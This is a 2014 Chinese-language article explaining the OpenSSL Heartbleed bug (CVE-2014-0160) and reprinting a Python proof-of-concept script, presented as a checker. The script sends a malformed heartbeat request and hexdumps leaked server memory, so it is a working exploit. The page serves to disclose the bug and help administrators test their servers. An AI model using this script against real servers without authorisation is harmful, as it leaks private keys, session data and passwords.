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一個(gè)檢測(cè)OpenSSL心臟出血漏洞的Python腳本分享

更新時(shí)間：2014年04月10日 09:14:22 作者：

這篇文章主要介紹了一個(gè)檢測(cè)OpenSSL心臟出血漏洞的Python腳本,心臟出血漏洞是互聯(lián)網(wǎng)上的地震,看到的同學(xué)趕緊升級(jí)OpenSSL,避免黑客入侵

什么是SSL？

SSL是一種流行的加密技術(shù)，可以保護(hù)用戶通過互聯(lián)網(wǎng)傳輸?shù)碾[私信息。網(wǎng)站采用此加密技術(shù)后，第三方無法讀取你與該網(wǎng)站之間的任何通訊信息。在后臺(tái)，通過SSL加密的數(shù)據(jù)只有接收者才能解密。

SSL最早在1994年由網(wǎng)景推出，1990年代以來已經(jīng)被所有主流瀏覽器采納。

什么是“心臟出血”漏洞？

SSL標(biāo)準(zhǔn)包含一個(gè)心跳選項(xiàng)，允許SSL連接一端的電腦發(fā)出一條簡(jiǎn)短的信息，確認(rèn)另一端的電腦仍然在線，并獲取反饋。研究人員發(fā)現(xiàn)，可以通過巧妙的手段發(fā)出惡意心跳信息，欺騙另一端的電腦泄露機(jī)密信息。受影響的電腦可能會(huì)因此而被騙，并發(fā)送服務(wù)器內(nèi)存中的信息。

誰發(fā)現(xiàn)的這個(gè)問題？

該漏洞是由Codenomicon和谷歌安全部門的研究人員獨(dú)立發(fā)現(xiàn)的。為了將影響降到最低，研究人員已經(jīng)與OpenSSL團(tuán)隊(duì)和其他關(guān)鍵的內(nèi)部人士展開了合作，在公布該問題前就已經(jīng)準(zhǔn)備好修復(fù)方案。

檢測(cè)OpenSSL心臟出血漏洞的Python腳本

復(fù)制代碼代碼如下:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

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